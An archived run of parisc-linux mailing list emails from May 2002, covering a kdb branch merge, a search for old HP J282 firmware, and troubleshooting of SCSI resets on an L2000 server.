List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14737

> > Paul is doing a merge from trunk to the kdb branch. I would suggest
> > trying the stuff in cvs (kdb_v21 branch) instead.
> 
> The branch isn't ready yet...

I haven't confirmed that it works, but the kdb branch now includes all
the trunk changes from pa13 through pa24 courtesy of CVS, which is
not always perfect...  The result should probably be compared to Carlos'
recent work as a sanity check.

Please use the 'kdb_v21' branch for kdb-specific commits.  Committing
them to the trunk will cause an ugly mess :-)

	-P



From - Thu Nov 08 21:22:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] looking for 2.4 firmware for J282
Date: Tue, 7 May 2002 10:45:46 -0700 (PDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <200205071745.g47Hjkr07478@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621283 7093 80.91.229.3 (22 Nov 2014 01:54:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:43 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 11:45:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14A3C482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 11:45:48 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.11.6/8.11.6) id g47Hjkr07478
	for parisc-linux@lists.parisc-linux.org; Tue, 7 May 2002 10:45:46 -0700
X-Mailer: ELM [version 2.5 PL3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14738

hi,

Thanks to Tim Carsons and Grant Grundler, I have have use of a J282.

However, I noticed the firmware is rather old, and wanted to upgrade it.  

I know the HP ITRC has 2.5 available (I downloaded it), but I'd prefer to get
2.4, so this machine will exactly match a couple some friends have.

I can no longer find the 2.4 firmware online ... or any earlier versions.

Does anyone know where I could get a copy, please?

thanks,

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com



From - Thu Nov 08 21:22:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RE: wishlist projects, looking for volunteers
Date: Wed, 08 May 2002 00:11:38 +0200
Organization: private
Lines: 39
Approved: news@gmane.org
Message-ID: <3CD8511A.1421DF3@gmx.at>
References: <CC57E8021A79D511BC720090278CE32DC28F3D@xrose02.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621283 7094 80.91.229.3 (22 Nov 2014 01:54:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:43 +0000 (UTC)
Cc: "'randolph@tausq.org'" <randolph@tausq.org>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "MOORE,CHRISTOPHER (HP-USA,ex1)" <chris_moore@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 16:11:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E8E7482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 16:11:41 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep14-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20020507221134.IVMS11252.viefep14-int.chello.at@gmx.at>;
          Wed, 8 May 2002 00:11:34 +0200
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14739

What are your experiences about !

We (especially I) need help for the HP-prorietary components like in the
HP E-Series servers (e.g. E55 9000/856 server).

I would be interested in running E55 under Linux with SCSI and MUX
working,
also the parallel port (to be complete....)

Do you have knowledge on this subject ... ?

With friendly regards
Christoph P.


"MOORE,CHRISTOPHER (HP-USA,ex1)" wrote:
> 
> Hi Randolph,
> 
> Thanks for posting the project wishlist.  You mentioned that these
> are specifically user space projects that need doing.  Is there a
> similar wishlist for kernel space projects?  I've got a lot more
> experience with kernel (specifically HPUX) than I have with compilers,
> linkers, and debuggers.
> 
> Chris Moore
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:22:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] looking for 2.4 firmware for J282
Date: Tue, 07 May 2002 17:28:30 -0600
Lines: 9
Approved: news@gmane.org
Message-ID: <20020507232830.1E932482A@dsl2.external.hp.com>
References: <200205071745.g47Hjkr07478@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621283 7098 80.91.229.3 (22 Nov 2014 01:54:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stan Sieler <sieler@allegro.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 17:28:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1E932482A; Tue,  7 May 2002 17:28:30 -0600 (MDT)
In-Reply-To: Message from Stan Sieler <sieler@allegro.com> 
   of "Tue, 07 May 2002 10:45:46 PDT." <200205071745.g47Hjkr07478@opus.allegro.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14740

Stan Sieler wrote:
> Thanks to Tim Carsons and Grant Grundler, I have have use of a J282.

FTR, that's "Tim Connors".
I was just the delivery boy...  ;^)

grant



From - Thu Nov 08 21:22:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] looking for 2.4 firmware for J282
Date: Tue, 7 May 2002 16:36:04 -0700 (PDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <200205072336.g47Na4s11477@opus.allegro.com>
References: <20020507232830.1E932482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621284 7101 80.91.229.3 (22 Nov 2014 01:54:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 17:36:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48F22482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 17:36:06 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.11.6/8.11.6) id g47Na4s11477;
	Tue, 7 May 2002 16:36:04 -0700
In-Reply-To: <20020507232830.1E932482A@dsl2.external.hp.com> from "Grant Grundler" at May 07, 2002 05:28:30 PM
X-Mailer: ELM [version 2.5 PL3]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14741

Re:

> > Thanks to Tim Carsons and Grant Grundler, I have have use of a J282.
> 
> FTR, that's "Tim Connors".

Apologies to Tim...I even checked the spelling before I blatantly typo'd it!

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com



From - Thu Nov 08 21:22:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Dodgy SCSI in L2000
Date: Tue, 07 May 2002 17:50:47 -0600
Lines: 61
Approved: news@gmane.org
Message-ID: <20020507235047.6A2B6482A@dsl2.external.hp.com>
References: <000201c1f594$e5bc6aa0$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621284 7106 80.91.229.3 (22 Nov 2014 01:54:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "James Braid" <james.braid@peace.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 17:50:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 6A2B6482A; Tue,  7 May 2002 17:50:47 -0600 (MDT)
In-Reply-To: Message from "James Braid" <james.braid@peace.com> 
   of "Tue, 07 May 2002 19:00:40 +1200." <000201c1f594$e5bc6aa0$5e01000a@bongo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14742

"James Braid" wrote:
> 2.4.18-pa24, and
> 2.4.18-pa23 

ok - those are running mostly ok on the A500.
Still have stability problems.

Our best 2.4.18 kernel so far is the non-SMP kernel I built for -pa7.
See ftp.parisc-linux.org/kernels/a500.

> > This suggests something is wrong with that device.
> > Are all RAID0 disks internal? Or connected to external box?
> > I see further down they seem to be working fine individually.
> 
> All disks are internal disks in the hotswap cage thing, connected to the
> core I/O board (? not sure if that's what its called , it's a big board
> with 3 SCSI cables on it and the ethernet jack/external SCSI). All the
> disks are plugged into this, two disks per cable, and the DVD on its own
> cable.

This still sounds like a problem with the cable or termination.

> 00:01.0 SCSI storage controller: LSI Logic / Symbios Logic (formerly
> NCR) 53c896 (rev 05)
...
> 00:01.1 SCSI storage controller: LSI Logic / Symbios Logic (formerly
> NCR) 53c896 (rev 05)

yeah - this is the same thing.

...
> The Qlogic cards I put in as I was going to move the scsi drives onto
...

I don't expect the extra cards to cause any problems.

...
> I will try again with dbench on just one disk at a time as well.

That sounds like a good idea.

Another general warning: we haven't tested L2000 as much as other boxes.

I've taken a quick look at sym53c8xx driver and the first routine
I look at has a sequence I don't like to see:
static void ncr_chip_reset (ncb_p np)
{
	OUTB (nc_istat, SRST);
	UDELAY (10);
	OUTB (nc_istat, 0);
}

This sequence is fine when using IO port space but not OK
for MMIO space. (posted write preceding a udelay and nothing
to force the clearing of SRST down).

Can you try a kernel with SCSI_NCR_IOMAPPED=y?

grant



From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Dodgy SCSI in L2000
Date: Wed, 8 May 2002 13:57:45 +1200
Lines: 33
Approved: news@gmane.org
Message-ID: <002d01c1f633$bf3ebf50$5e01000a@bongo>
References: <20020507235047.6A2B6482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621284 7110 80.91.229.3 (22 Nov 2014 01:54:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:44 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 19:54:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (intro.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABBB5482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 19:54:13 -0600 (MDT)
In-Reply-To: <20020507235047.6A2B6482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14743

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

> Our best 2.4.18 kernel so far is the non-SMP kernel I built for
> -pa7. See ftp.parisc-linux.org/kernels/a500.
> 

Okay, I will take a look at that, thanks.

> Can you try a kernel with SCSI_NCR_IOMAPPED=y?

Yep. The kernels I am currently running already have that option set.
I read something about SCSI not working without it, so I tried
enabling it. Didn't really seem to have any affect on the problems I
have been having.

I will try mucking with the termination and cables, but they should
be okay right? I mean, this box hasn't been opened or touched since
(hardware wise) since we got it from HP.

Thanks, James.

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1.1

iQA/AwUBPNiGGVW+bhIOiSqWEQIzGgCgz7SCN7qCJT6UNIfe9gO3lIsYbJIAn2KB
lDBYV2Sjd1GQMrHd9HnVM1iS
=azxw
-----END PGP SIGNATURE-----




From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James Braid" <james.braid@peace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Dodgy SCSI in L2000
Date: Wed, 8 May 2002 17:10:46 +1200
Lines: 30
Approved: news@gmane.org
Message-ID: <003401c1f64e$b5e4b070$5e01000a@bongo>
References: <002d01c1f633$bf3ebf50$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621285 7114 80.91.229.3 (22 Nov 2014 01:54:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:45 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May  7 23:07:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from intro.peace.co.nz (intro.peace.co.nz [202.14.141.227])
	by dsl2.external.hp.com (Postfix) with ESMTP id 65352482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 May 2002 23:07:11 -0600 (MDT)
In-Reply-To: <002d01c1f633$bf3ebf50$5e01000a@bongo>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14744

 
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Okay, I have just been thrashing my L2000, one disk at a time with
dbench (up to 100 clients, havent tried any more), one disk at a
time, and it has held up fine (i.e. no ABORTS/RESETS or anything).
Yet as soon as I run dbench concurrently over more than one disk
(whether in a RAID array or just fire up 2 dbench's on different
disks, the SCSI driver goes mental with ABORTS and RESETS in the
error log. 

The SCSI termination and cabling *should* be fine, as nobody here has
touched the box since we got it from HP. I cant be sure on the cables
though as we have no replacement cables for it.

This is really weird, anybody have further ideas about this one?

Cheers, James

-----BEGIN PGP SIGNATURE-----
Version: PGP 7.1.1

iQA/AwUBPNizVVW+bhIOiSqWEQLb8gCgi6S7nm8amd9gIFMYpvkyCYFXRV4AoOQG
5Zg346MvhtAALRg218WsjV17
=R9aP
-----END PGP SIGNATURE-----




From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb patches for -pa23 ... moooo!
Date: Wed, 08 May 2002 07:59:46 +0200 (CEST)
Lines: 29
Approved: news@gmane.org
Message-ID: <1020837586.3cd8bed27dc62@webmail.tiscalinet.be>
References: <1020756305.3cd7815151303@webmail.tiscalinet.be> <1020787573.3cd7fb75053c7@webmail.tiscalinet.be> <20020507174619.GO32033@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621285 7116 80.91.229.3 (22 Nov 2014 01:54:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:45 +0000 (UTC)
Cc: joel.soete@freebel.net, carlos@baldric.uwo.ca,
	parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  8 00:01:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 390F6482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 May 2002 00:01:24 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 175KUM-00072X-00; Wed, 08 May 2002 07:59:46 +0200
In-Reply-To: <20020507174619.GO32033@tausq.org>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14745

Many thanks.

I update it right now, so I will try to compile it with gcc-3.1 (the yesterday
cupdate of gcc-3.2 compiles well in during the night, so I will try it also)

Joel

Quoting Randolph Chung <tausq@debian.org>:

> > in fact, I find that it is missing following files in include/linux:
> > kdb.h; kallsyms.h; dis-asm.h; kdbprivate.h.
> 
> Paul is doing a merge from trunk to the kdb branch. I would suggest
> trying the stuff in cvs (kdb_v21 branch) instead.
> 
> randolph
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kdb patches for -pa23 ... moooo!
Date: Wed, 8 May 2002 06:14:07 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <20020508061407.A21381@systemhalted>
References: <1020756305.3cd7815151303@webmail.tiscalinet.be> <1020787573.3cd7fb75053c7@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621285 7120 80.91.229.3 (22 Nov 2014 01:54:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  8 04:14:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15CDB482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  8 May 2002 04:14:13 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g48AE7M22291;
	Wed, 8 May 2002 06:14:07 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1020787573.3cd7fb75053c7@webmail.tiscalinet.be>; from joel.soete@freebel.net on Tue, May 07, 2002 at 06:06:13PM +0200
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (29% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14746

> 
> in fact, I find that it is missing following files in include/linux:
> kdb.h; kallsyms.h; dis-asm.h; kdbprivate.h.
>

Just a curiosity, did you forget to apply the kdb common patch first? 

c.




From - Thu Nov 08 21:22:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
